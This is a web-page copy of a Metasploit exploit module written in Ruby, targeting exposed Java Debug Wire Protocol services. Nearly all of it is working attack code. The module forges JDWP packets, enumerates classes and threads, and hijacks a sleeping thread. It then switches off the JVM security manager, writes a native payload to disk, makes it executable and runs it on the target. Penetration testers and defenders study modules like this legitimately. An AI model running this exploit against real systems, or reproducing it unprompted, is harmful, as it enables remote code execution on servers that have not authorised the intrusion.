Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb
31274 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
HANDSHAKE = 'JDWP-Handshake'
14
15
REQUEST_PACKET_TYPE = 0x00
16
REPLY_PACKET_TYPE = 0x80
17
18
# Command signatures
19
VERSION_SIG = [1, 1]
20
CLASSESBYSIGNATURE_SIG = [1, 2]
21
ALLCLASSES_SIG = [1, 3]
22
ALLTHREADS_SIG = [1, 4]
23
IDSIZES_SIG = [1, 7]
24
CREATESTRING_SIG = [1, 11]
25
SUSPENDVM_SIG = [1, 8]
26
RESUMEVM_SIG = [1, 9]
27
SIGNATURE_SIG = [2, 1]
28
FIELDS_SIG = [2, 4]
29
METHODS_SIG = [2, 5]
30
GETVALUES_SIG = [2, 6]
31
CLASSOBJECT_SIG = [2, 11]
32
SETSTATICVALUES_SIG = [3, 2]
33
INVOKESTATICMETHOD_SIG = [3, 3]
34
CREATENEWINSTANCE_SIG = [3, 4]
35
ARRAYNEWINSTANCE_SIG = [4, 1]
36
REFERENCETYPE_SIG = [9, 1]
37
INVOKEMETHOD_SIG = [9, 6]
38
STRINGVALUE_SIG = [10, 1]
39
THREADNAME_SIG = [11, 1]
40
THREADSUSPEND_SIG = [11, 2]
41
THREADRESUME_SIG = [11, 3]
42
THREADSTATUS_SIG = [11, 4]
43
ARRAYSETVALUES_SIG = [13, 3]
44
EVENTSET_SIG = [15, 1]
45
EVENTCLEAR_SIG = [15, 2]
46
EVENTCLEARALL_SIG = [15, 3]
47
48
# Other codes
49
MODKIND_COUNT = 1
50
MODKIND_THREADONLY = 2
51
MODKIND_CLASSMATCH = 5
52
MODKIND_LOCATIONONLY = 7
53
MODKIND_STEP = 10
54
EVENT_BREAKPOINT = 2
55
EVENT_STEP = 1
56
SUSPEND_EVENTTHREAD = 1
57
SUSPEND_ALL = 2
58
NOT_IMPLEMENTED = 99
59
VM_DEAD = 112
60
INVOKE_SINGLE_THREADED = 2
61
TAG_OBJECT = 76
62
TAG_STRING = 115
63
TYPE_CLASS = 1
64
TAG_ARRAY = 91
65
TAG_VOID = 86
66
TAG_THREAD = 116
67
STEP_INTO = 0
68
STEP_MIN = 0
69
THREAD_SLEEPING_STATUS = 2
70
71
def initialize
72
super(
73
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
74
'Description' => %q{
75
This module abuses exposed Java Debug Wire Protocol services in order
76
to execute arbitrary Java code remotely. It just abuses the protocol
77
features, since no authentication is required if the service is enabled.
78
},
79
'Author' => [
80
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
81
'Christophe Alladoum', # JDWP Analysis and Exploit
82
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
83
],
84
'References' => [
85
['OSVDB', '96066'],
86
['EDB', '27179'],
87
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
88
['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],
89
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
90
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
91
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
92
],
93
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
94
'Payload' => {
95
'Space' => 10000000,
96
'BadChars' => '',
97
'DisableNops' => true
98
},
99
'Targets' => [
100
[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
101
[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
102
[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
103
],
104
'DefaultTarget' => 0,
105
'License' => MSF_LICENSE,
106
'DisclosureDate' => 'Mar 12 2010'
107
)
108
109
register_options(
110
[
111
Opt::RPORT(8000),
112
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
113
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
114
]
115
)
116
117
register_advanced_options(
118
[
119
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
120
]
121
)
122
end
123
124
def check
125
connect
126
res = handshake
127
disconnect
128
129
if res.nil?
130
return Exploit::CheckCode::Unknown
131
elsif res == HANDSHAKE
132
return Exploit::CheckCode::Appears
133
end
134
135
Exploit::CheckCode::Safe
136
end
137
138
def default_timeout
139
datastore['RESPONSE_TIMEOUT']
140
end
141
142
# Establishes handshake with the server
143
def handshake
144
sock.put(HANDSHAKE)
145
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
146
end
147
148
# Forges packet for JDWP protocol
149
def create_packet(cmdsig, data = '')
150
flags = 0x00
151
cmdset, cmd = cmdsig
152
pktlen = data.length + 11
153
buf = [pktlen, @my_id, flags, cmdset, cmd]
154
pkt = buf.pack('NNCCC')
155
pkt << data
156
@my_id += 2
157
pkt
158
end
159
160
# Reads packet response for JDWP protocol
161
def read_reply(timeout = default_timeout)
162
length = sock.get_once(4, timeout)
163
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
164
pkt_len = length.unpack('N')[0]
165
if pkt_len < 4
166
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
167
end
168
_, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
169
if err_code != 0 && flags == REPLY_PACKET_TYPE
170
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
171
end
172
173
response = ''
174
while response.length + 11 < pkt_len
175
partial = sock.get_once(pkt_len, timeout)
176
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
177
response << partial
178
end
179
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
180
response
181
end
182
183
# Returns the characters contained in the string defined in target VM
184
def solve_string(data)
185
sock.put(create_packet(STRINGVALUE_SIG, data))
186
response = read_reply
187
return '' unless response
188
189
return read_string(response)
190
end
191
192
# Unpacks received string structure from the server response into a normal string
193
def read_string(data)
194
data_len = data.unpack('N')[0]
195
return data[4, data_len]
196
end
197
198
# Creates a new string object in the target VM and returns its id
199
def create_string(data)
200
buf = build_string(data)
201
sock.put(create_packet(CREATESTRING_SIG, buf))
202
buf = read_reply
203
return parse_entries(buf, [[@vars['objectid_size'], 'obj_id']], false)
204
end
205
206
# Packs normal string into string structure for target VM
207
def build_string(data)
208
ret = [data.length].pack('N')
209
ret << data
210
211
ret
212
end
213
214
# Pack Integer for JDWP protocol
215
def format(fmt, value)
216
if fmt == 'L' || fmt == 8
217
return [value].pack('Q>')
218
elsif fmt == 'I' || fmt == 4
219
return [value].pack('N')
220
end
221
222
fail_with(Failure::Unknown, 'Unknown format')
223
end
224
225
# Unpack Integer from JDWP protocol
226
def unformat(fmt, value)
227
if fmt == 'L' || fmt == 8
228
return value[0..7].unpack('Q>')[0]
229
elsif fmt == 'I' || fmt == 4
230
return value[0..3].unpack('N')[0]
231
end
232
233
fail_with(Failure::Unknown, 'Unknown format')
234
end
235
236
# Parses given data according to a set of formats
237
def parse_entries(buf, formats, explicit = true)
238
entries = []
239
index = 0
240
241
if explicit
242
nb_entries = buf.unpack('N')[0]
243
buf = buf[4..-1]
244
else
245
nb_entries = 1
246
end
247
248
nb_entries.times do |var|
249
if var != 0 && var % 1000 == 0
250
vprint_status("Parsed #{var} classes of #{nb_entries}")
251
end
252
253
data = {}
254
255
formats.each do |fmt, name|
256
if fmt == 'L' || fmt == 8
257
data[name] = buf[index, 8].unpack('Q>')[0]
258
index += 8
259
elsif fmt == 'I' || fmt == 4
260
data[name] = buf[index, 4].unpack('N')[0]
261
index += 4
262
elsif fmt == 'S'
263
data_len = buf[index, 4].unpack('N')[0]
264
data[name] = buf[index + 4, data_len]
265
index += 4 + data_len
266
elsif fmt == 'C'
267
data[name] = buf[index].unpack('C')[0]
268
index += 1
269
elsif fmt == 'Z'
270
t = buf[index].unpack('C')[0]
271
if t == 115
272
data[name] = solve_string(buf[index + 1, 8])
273
index += 9
274
elsif t == 73
275
data[name], buf = buf[index + 1, 4].unpack('NN')
276
end
277
else
278
fail_with(Failure::UnexpectedReply, 'Unexpected data when parsing server response')
279
end
280
end
281
entries.append(data)
282
end
283
284
entries
285
end
286
287
# Gets the sizes of variably-sized data types in the target VM
288
def get_sizes
289
formats = [
290
['I', 'fieldid_size'],
291
['I', 'methodid_size'],
292
['I', 'objectid_size'],
293
['I', 'referencetypeid_size'],
294
['I', 'frameid_size']
295
]
296
sock.put(create_packet(IDSIZES_SIG))
297
response = read_reply
298
entries = parse_entries(response, formats, false)
299
entries.each { |e| @vars.merge!(e) }
300
end
301
302
# Gets the JDWP version implemented by the target VM
303
def get_version
304
formats = [
305
['S', 'descr'],
306
['I', 'jdwp_major'],
307
['I', 'jdwp_minor'],
308
['S', 'vm_version'],
309
['S', 'vm_name']
310
]
311
sock.put(create_packet(VERSION_SIG))
312
response = read_reply
313
entries = parse_entries(response, formats, false)
314
entries.each { |e| @vars.merge!(e) }
315
end
316
317
def version
318
"#{@vars['vm_name']} - #{@vars['vm_version']}"
319
end
320
321
# Returns reference for all threads currently running on target VM
322
def get_all_threads
323
sock.put(create_packet(ALLTHREADS_SIG))
324
response = read_reply
325
num_threads = response.unpack('N').first
326
index = 4
327
328
size = @vars['objectid_size']
329
num_threads.times do
330
t_id = unformat(size, response[index, size])
331
@threads[t_id] = nil
332
index += size
333
end
334
end
335
336
# Returns reference types for all classes currently loaded by the target VM
337
def get_all_classes
338
return unless @classes.empty?
339
340
formats = [
341
['C', 'reftype_tag'],
342
[@vars['referencetypeid_size'], 'reftype_id'],
343
['S', 'signature'],
344
['I', 'status']
345
]
346
sock.put(create_packet(ALLCLASSES_SIG))
347
response = read_reply
348
@classes.append(parse_entries(response, formats))
349
end
350
351
# Checks if specified class is currently loaded by the target VM and returns it
352
def get_class_by_name(name)
353
@classes.each do |entry_array|
354
entry_array.each do |entry|
355
if entry['signature'].downcase == name.downcase
356
return entry
357
end
358
end
359
end
360
361
nil
362
end
363
364
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
365
# The list of methods will include constructors (identified with the name "<init>")
366
def get_methods(reftype_id)
367
if @methods.has_key?(reftype_id)
368
return @methods[reftype_id]
369
end
370
371
formats = [
372
[@vars['methodid_size'], 'method_id'],
373
['S', 'name'],
374
['S', 'signature'],
375
['I', 'mod_bits']
376
]
377
ref_id = format(@vars['referencetypeid_size'], reftype_id)
378
sock.put(create_packet(METHODS_SIG, ref_id))
379
response = read_reply
380
@methods[reftype_id] = parse_entries(response, formats)
381
end
382
383
# Returns information for each field in a reference type (ie. object)
384
def get_fields(reftype_id)
385
formats = [
386
[@vars['fieldid_size'], 'field_id'],
387
['S', 'name'],
388
['S', 'signature'],
389
['I', 'mod_bits']
390
]
391
ref_id = format(@vars['referencetypeid_size'], reftype_id)
392
sock.put(create_packet(FIELDS_SIG, ref_id))
393
response = read_reply
394
fields = parse_entries(response, formats)
395
396
fields
397
end
398
399
# Returns the value of one static field of the reference type. The field must be member of the reference type
400
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
401
# for example, the values of private fields can be obtained.
402
def get_value(reftype_id, field_id)
403
data = format(@vars['referencetypeid_size'], reftype_id)
404
data << [1].pack('N')
405
data << format(@vars['fieldid_size'], field_id)
406
407
sock.put(create_packet(GETVALUES_SIG, data))
408
response = read_reply
409
num_values = response.unpack('N')[0]
410
411
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
412
fail_with(Failure::Unknown, 'Bad response when getting value for field')
413
end
414
415
len = @vars['objectid_size']
416
value = unformat(len, response[5..-1])
417
418
value
419
end
420
421
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
422
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
423
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
424
# the field's type exactly. For object values, there must exist a widening reference conversion from the
425
# value's type to the field's type and the field's type must be loaded.
426
def set_value(reftype_id, field_id, value)
427
data = format(@vars['referencetypeid_size'], reftype_id)
428
data << [1].pack('N')
429
data << format(@vars['fieldid_size'], field_id)
430
data << format(@vars['objectid_size'], value)
431
432
sock.put(create_packet(SETSTATICVALUES_SIG, data))
433
read_reply
434
end
435
436
# Checks if specified method is currently loaded by the target VM and returns it
437
def get_method_by_name(classname, name, signature = nil)
438
@methods[classname].each do |entry|
439
if signature.nil?
440
return entry if entry['name'].downcase == name.downcase
441
elsif entry['name'].downcase == name.downcase && entry['signature'].downcase == signature.downcase
442
return entry
443
end
444
end
445
446
nil
447
end
448
449
# Checks if specified class and method are currently loaded by the target VM and returns them
450
def get_class_and_method(looked_class, looked_method, signature = nil)
451
target_class = get_class_by_name(looked_class)
452
unless target_class
453
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
454
end
455
456
get_methods(target_class['reftype_id'])
457
target_method = get_method_by_name(target_class['reftype_id'], looked_method, signature)
458
unless target_method
459
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
460
end
461
462
return target_class, target_method
463
end
464
465
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
466
def str_to_fq_class(s)
467
i = s.rindex('.')
468
unless i
469
fail_with(Failure::BadConfig, 'Bad defined break class')
470
end
471
472
method = s[i + 1..-1] # Subtr of s, from last '.' to the end of the string
473
474
classname = 'L'
475
classname << s[0..i - 1].gsub(/[.]/, '/')
476
classname << ';'
477
478
return classname, method
479
end
480
481
# Gets the status of a given thread
482
def thread_status(thread_id)
483
sock.put(create_packet(THREADSTATUS_SIG, format(@vars['objectid_size'], thread_id)))
484
buf = read_reply(datastore['BREAK_TIMEOUT'])
485
unless buf
486
fail_with(Failure::Unknown, 'No network response')
487
end
488
status, = buf.unpack('NN')
489
490
status
491
end
492
493
# Resumes execution of the application or thread after the suspend command or an event has stopped it
494
def resume_vm(thread_id = nil)
495
if thread_id.nil?
496
sock.put(create_packet(RESUMEVM_SIG))
497
else
498
sock.put(create_packet(THREADRESUME_SIG, format(@vars['objectid_size'], thread_id)))
499
end
500
501
response = read_reply(datastore['BREAK_TIMEOUT'])
502
unless response
503
fail_with(Failure::Unknown, 'No network response')
504
end
505
506
response
507
end
508
509
# Suspend execution of the application or thread
510
def suspend_vm(thread_id = nil)
511
if thread_id.nil?
512
sock.put(create_packet(SUSPENDVM_SIG))
513
else
514
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars['objectid_size'], thread_id)))
515
end
516
517
response = read_reply
518
unless response
519
fail_with(Failure::Unknown, 'No network response')
520
end
521
522
response
523
end
524
525
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
526
def send_event(event_code, args)
527
data = [event_code].pack('C')
528
data << [SUSPEND_ALL].pack('C')
529
data << [args.length].pack('N')
530
531
args.each do |kind, option|
532
data << [kind].pack('C')
533
data << option
534
end
535
536
sock.put(create_packet(EVENTSET_SIG, data))
537
response = read_reply
538
unless response
539
fail_with(Failure::Unknown, "#{peer} - No network response")
540
end
541
return response.unpack('N')[0]
542
end
543
544
# Parses a received event and compares it with the expected
545
def parse_event(buf, event_id, thread_id)
546
len = @vars['objectid_size']
547
return false if buf.length < 10 + len - 1
548
549
r_id = buf[6..9].unpack('N')[0]
550
t_id = unformat(len, buf[10..10 + len - 1])
551
552
return (event_id == r_id) && (thread_id == t_id)
553
end
554
555
# Clear a defined event request
556
def clear_event(event_code, r_id)
557
data = [event_code].pack('C')
558
data << [r_id].pack('N')
559
sock.put(create_packet(EVENTCLEAR_SIG, data))
560
read_reply
561
end
562
563
# Invokes a static method. The method must be member of the class type or one of its superclasses,
564
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
565
# methods can be invoked.
566
def invoke_static(class_id, thread_id, meth_id, args = [])
567
data = format(@vars['referencetypeid_size'], class_id)
568
data << format(@vars['objectid_size'], thread_id)
569
data << format(@vars['methodid_size'], meth_id)
570
data << [args.length].pack('N')
571
572
args.each do |arg|
573
data << arg
574
data << [0].pack('N')
575
end
576
577
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
578
buf = read_reply
579
buf
580
end
581
582
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
583
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
584
# can be invoked.
585
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
586
data = format(@vars['objectid_size'], obj_id)
587
data << format(@vars['objectid_size'], thread_id)
588
data << format(@vars['referencetypeid_size'], class_id)
589
data << format(@vars['methodid_size'], meth_id)
590
data << [args.length].pack('N')
591
592
args.each do |arg|
593
data << arg
594
data << [0].pack('N')
595
end
596
597
sock.put(create_packet(INVOKEMETHOD_SIG, data))
598
buf = read_reply
599
buf
600
end
601
602
# Creates a new object of specified class, invoking the specified constructor. The constructor
603
# method ID must be a member of the class type.
604
def create_instance(class_id, thread_id, meth_id, args = [])
605
data = format(@vars['referencetypeid_size'], class_id)
606
data << format(@vars['objectid_size'], thread_id)
607
data << format(@vars['methodid_size'], meth_id)
608
data << [args.length].pack('N')
609
610
args.each do |arg|
611
data << arg
612
data << [0].pack('N')
613
end
614
615
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
616
buf = read_reply
617
buf
618
end
619
620
# Creates a byte[]
621
def create_array(len)
622
target_class = get_class_by_name('[B')
623
fail_with(Failure::Unknown, 'target_class is nil') if target_class.nil?
624
625
type_id = target_class['reftype_id']
626
fail_with(Failure::Unknown, 'type_id is nil') if type_id.nil?
627
628
data = format(@vars['referencetypeid_size'], type_id)
629
data << [len].pack('N')
630
631
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
632
buf = read_reply
633
buf
634
end
635
636
# Initializes the byte[] with values
637
def set_values(obj_id, args = [])
638
data = format(@vars['objectid_size'], obj_id)
639
data << [0].pack('N')
640
data << [args.length].pack('N')
641
642
args.each do |arg|
643
data << [arg].pack('C')
644
end
645
646
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
647
read_reply
648
end
649
650
def temp_path
651
return nil unless datastore['TMP_PATH']
652
653
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
654
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
655
end
656
datastore['TMP_PATH']
657
end
658
659
# Configures payload according to targeted architecture
660
def setup_payload
661
# 1. Setting up generic values.
662
payload_exe = rand_text_alphanumeric(rand(4..7))
663
pl_exe = generate_payload_exe
664
665
# 2. Setting up arch specific...
666
case target['Platform']
667
when 'linux'
668
path = temp_path || '/tmp/'
669
payload_exe = "#{path}#{payload_exe}"
670
when 'osx'
671
path = temp_path || '/private/tmp/'
672
payload_exe = "#{path}#{payload_exe}"
673
when 'win'
674
path = temp_path || './'
675
payload_exe = "#{path}#{payload_exe}.exe"
676
end
677
678
if @os.downcase =~ /target['Platform']/
679
print_warning("#{@os} system detected but using #{target['Platform']} target...")
680
end
681
682
return payload_exe, pl_exe
683
end
684
685
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
686
def fingerprint_os(thread_id)
687
size = @vars['objectid_size']
688
689
# 1. Creates a string on target VM with the property to be getted
690
cmd_obj_ids = create_string('os.name')
691
fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping') if cmd_obj_ids.length == 0
692
cmd_obj_id = cmd_obj_ids[0]['obj_id']
693
694
# 2. Gets property
695
data = [TAG_OBJECT].pack('C')
696
data << format(size, cmd_obj_id)
697
data_array = [data]
698
runtime_class, runtime_meth = get_class_and_method('Ljava/lang/System;', 'getProperty')
699
buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array)
700
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected String') unless buf[0] == [TAG_STRING].pack('C')
701
702
str = unformat(size, buf[1..1 + size - 1])
703
@os = solve_string(format(@vars['objectid_size'], str))
704
end
705
706
# Creates a file on the server given a execution thread
707
def create_file(thread_id, filename)
708
cmd_obj_ids = create_string(filename)
709
fail_with(Failure::Unknown, 'Failed to allocate string for filename') if cmd_obj_ids.length == 0
710
711
cmd_obj_id = cmd_obj_ids[0]['obj_id']
712
size = @vars['objectid_size']
713
data = [TAG_OBJECT].pack('C')
714
data << format(size, cmd_obj_id)
715
data_array = [data]
716
runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', '<init>', '(Ljava/lang/String;)V')
717
buf = create_instance(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array)
718
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object') unless buf[0] == [TAG_OBJECT].pack('C')
719
720
file = unformat(size, buf[1..1 + size - 1])
721
fail_with(Failure::Unknown, 'Failed to create file. Try to change the TMP_PATH') if file.nil? || (file == 0)
722
723
register_files_for_cleanup(filename)
724
725
file
726
end
727
728
# Stores the payload on a new string created in target VM
729
def upload_payload(_thread_id, pl_exe)
730
size = @vars['objectid_size']
731
732
buf = create_array(pl_exe.length)
733
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Array') unless buf[0] == [TAG_ARRAY].pack('C')
734
735
pl = unformat(size, buf[1..1 + size - 1])
736
fail_with(Failure::Unknown, 'Failed to create byte array to store payload') if pl.nil? || (pl == 0)
737
738
set_values(pl, pl_exe.bytes)
739
pl
740
end
741
742
# Dumps the payload on a opened server file given a execution thread
743
def dump_payload(thread_id, file, pl)
744
size = @vars['objectid_size']
745
data = [TAG_OBJECT].pack('C')
746
data << format(size, pl)
747
data_array = [data]
748
runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'write', '([B)V')
749
buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'], data_array)
750
unless buf[0] == [TAG_VOID].pack('C')
751
fail_with(Failure::Unknown, 'Exception while writing to file')
752
end
753
end
754
755
# Closes a file on the server given a execution thread
756
def close_file(thread_id, file)
757
runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'close')
758
buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'])
759
unless buf[0] == [TAG_VOID].pack('C')
760
fail_with(Failure::Unknown, 'Exception while closing file')
761
end
762
end
763
764
# Executes a system command on target VM making use of java.lang.Runtime.exec()
765
def execute_command(thread_id, cmd)
766
size = @vars['objectid_size']
767
768
# 1. Creates a string on target VM with the command to be executed
769
cmd_obj_ids = create_string(cmd)
770
if cmd_obj_ids.length == 0
771
fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping')
772
end
773
774
cmd_obj_id = cmd_obj_ids[0]['obj_id']
775
776
# 2. Gets Runtime context
777
runtime_class, runtime_meth = get_class_and_method('Ljava/lang/Runtime;', 'getRuntime')
778
buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'])
779
unless buf[0] == [TAG_OBJECT].pack('C')
780
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object')
781
end
782
783
rt = unformat(size, buf[1..1 + size - 1])
784
if rt.nil? || (rt == 0)
785
fail_with(Failure::Unknown, 'Failed to invoke Runtime.getRuntime()')
786
end
787
788
# 3. Finds and executes "exec" method supplying the string with the command
789
exec_meth = get_method_by_name(runtime_class['reftype_id'], 'exec')
790
if exec_meth.nil?
791
fail_with(Failure::BadConfig, 'Cannot find method Runtime.exec()')
792
end
793
794
data = [TAG_OBJECT].pack('C')
795
data << format(size, cmd_obj_id)
796
data_array = [data]
797
buf = invoke(rt, thread_id, runtime_class['reftype_id'], exec_meth['method_id'], data_array)
798
unless buf[0] == [TAG_OBJECT].pack('C')
799
fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object')
800
end
801
end
802
803
# Set event for stepping into a running thread
804
def set_step_event
805
# 1. Select a thread in sleeping status
806
t_id = nil
807
@threads.each_key do |thread|
808
if thread_status(thread) == THREAD_SLEEPING_STATUS
809
t_id = thread
810
break
811
end
812
end
813
fail_with(Failure::Unknown, 'Could not find a suitable thread for stepping') if t_id.nil?
814
815
# 2. Suspend the VM before setting the event
816
suspend_vm
817
818
vprint_status("Setting 'step into' event in thread: #{t_id}")
819
step_info = format(@vars['objectid_size'], t_id)
820
step_info << [STEP_MIN].pack('N')
821
step_info << [STEP_INTO].pack('N')
822
data = [[MODKIND_STEP, step_info]]
823
824
r_id = send_event(EVENT_STEP, data)
825
unless r_id
826
fail_with(Failure::Unknown, 'Could not set the event')
827
end
828
829
return r_id, t_id
830
end
831
832
# Disables security manager if it's set on target JVM
833
def disable_sec_manager
834
sys_class = get_class_by_name('Ljava/lang/System;')
835
836
fields = get_fields(sys_class['reftype_id'])
837
838
sec_field = nil
839
840
fields.each do |field|
841
sec_field = field['field_id'] if field['name'].downcase == 'security'
842
end
843
844
fail_with(Failure::Unknown, 'Security attribute not found') if sec_field.nil?
845
846
value = get_value(sys_class['reftype_id'], sec_field)
847
848
if (value == 0)
849
print_good('Security manager was not set')
850
else
851
set_value(sys_class['reftype_id'], sec_field, 0)
852
if get_value(sys_class['reftype_id'], sec_field) == 0
853
print_good('Security manager has been disabled')
854
else
855
print_good('Security manager has not been disabled, trying anyway...')
856
end
857
end
858
end
859
860
# Uploads & executes the payload on the target VM
861
def exec_payload(thread_id)
862
# 0. Fingerprinting OS
863
fingerprint_os(thread_id)
864
865
vprint_status("Executing payload on \"#{@os}\", target version: #{version}")
866
867
# 1. Prepares the payload
868
payload_exe, pl_exe = setup_payload
869
870
# 2. Creates file on server for dumping payload
871
file = create_file(thread_id, payload_exe)
872
873
# 3. Uploads payload to the server
874
pl = upload_payload(thread_id, pl_exe)
875
876
# 4. Dumps uploaded payload into file on the server
877
dump_payload(thread_id, file, pl)
878
879
# 5. Closes the file on the server
880
close_file(thread_id, file)
881
882
# 5b. When linux arch, give execution permissions to file
883
if target['Platform'] == 'linux' || target['Platform'] == 'osx'
884
cmd = "chmod +x #{payload_exe}"
885
execute_command(thread_id, cmd)
886
end
887
888
# 6. Executes the dumped payload
889
cmd = "#{payload_exe}"
890
execute_command(thread_id, cmd)
891
end
892
893
def exploit
894
@my_id = 0x01
895
@vars = {}
896
@classes = []
897
@methods = {}
898
@threads = {}
899
@os = nil
900
901
connect
902
903
unless handshake == HANDSHAKE
904
fail_with(Failure::NotVulnerable, 'JDWP Protocol not found')
905
end
906
907
print_status('Retrieving the sizes of variable sized data types in the target VM...')
908
get_sizes
909
910
print_status('Getting the version of the target VM...')
911
get_version
912
913
print_status('Getting all currently loaded classes by the target VM...')
914
get_all_classes
915
916
print_status('Getting all running threads in the target VM...')
917
get_all_threads
918
919
print_status("Setting 'step into' event...")
920
r_id, t_id = set_step_event
921
922
print_status('Resuming VM and waiting for an event...')
923
response = resume_vm
924
925
unless parse_event(response, r_id, t_id)
926
datastore['NUM_RETRIES'].times do |i|
927
print_status("Received #{i + 1} responses that are not a 'step into' event...")
928
buf = read_reply
929
break if parse_event(buf, r_id, t_id)
930
931
if i == datastore['NUM_RETRIES']
932
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
933
end
934
end
935
end
936
937
vprint_status("Received matching event from thread #{t_id}")
938
print_status('Deleting step event...')
939
clear_event(EVENT_STEP, r_id)
940
941
print_status('Disabling security manager if set...')
942
disable_sec_manager
943
944
print_status('Dropping and executing payload...')
945
exec_payload(t_id)
946
947
disconnect
948
end
949
end
950
951